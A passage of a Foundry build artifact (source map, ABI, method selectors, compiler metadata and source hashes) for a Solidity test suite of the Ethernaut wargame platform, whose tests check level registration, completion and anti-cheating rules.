4;14226:2;14222:13;14192:44;:::i;:::-;14187:2;14176:14;;14169:68;14250:18;;-1:-1:-1;14288:12:155;;;;12881;;12848:1462;;;-1:-1:-1;14329:5:155;12081:2259;-1:-1:-1;;;;;;;;12081:2259:155:o;16563:184::-;16633:6;16686:2;16674:9;16665:7;16661:23;16657:32;16654:52;;;16702:1;16699;16692:12;16654:52;-1:-1:-1;16725:16:155;;16563:184;-1:-1:-1;16563:184:155:o","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","setUp()":"0a9254e4","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testDoubleCompletion()":"4be45556","testLevelCompletion()":"c42b6c61","testLevelNonCompletion()":"2c60fe96","testManufactureInstance()":"984e5703","testNonRegisteredLevel()":"6aeac891","testUploadLevel()":"306d664e","testUseOtherPlayerInstance()":"da146abe"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testDoubleCompletion\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testLevelCompletion\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testLevelNonCompletion\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testManufactureInstance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testNonRegisteredLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testUploadLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testUseOtherPlayerInstance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testDoubleCompletion()\":{\"notice\":\"Should not allow a player to generate 2 completion logs with the same instance.\"},\"testLevelCompletion()\":{\"notice\":\"Should provide instances and verify completion.\"},\"testLevelNonCompletion()\":{\"notice\":\"Should provide instances and verify non-completion.\"},\"testManufactureInstance()\":{\"notice\":\"Should not allow a player to manufacture a solution instance.\"},\"testNonRegisteredLevel()\":{\"notice\":\"Should not provide instances to non-registered level factories.\"},\"testUploadLevel()\":{\"notice\":\"Should not allow anyone but the owner to upload a level.\"},\"testUseOtherPlayerInstance()\":{\"notice\":\"Should not allow player A to use player's B instance to complete a level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/Ethernaut.t.sol\":\"TestEthernaut\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/Manufactured.sol\":{\"keccak256\":\"0xdcdc8bb4a0170a4a015ce38a92483ccc1594c498fdd8f21c4b154f6567f15f87\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0b37ea5fcc4408f816a252feda3bdc8fc0bdded1781c1719328c784042807f67\",\"dweb:/ipfs/QmPtqNhmnYmvMhzM5xShHo9yLK3BY11Z7MJymff311Udqh\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/Fallback.sol\":{\"keccak256\":\"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41\",\"dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS\"]},\"src/levels/FallbackFactory.sol\":{\"keccak256\":\"0xcf8386db2b09f2b0d458d8e600bec419e1d08f44946c09384dd400c5d165695c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://458622b6c09742090ea14f614bf159aeda6d0c29f647f7b1f4a4576ff14fbde2\",\"dweb:/ipfs/QmWZaqoCvusCmENadV6ezMPd1Q2TkZrnYi7QVNHxqUyLdb\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJ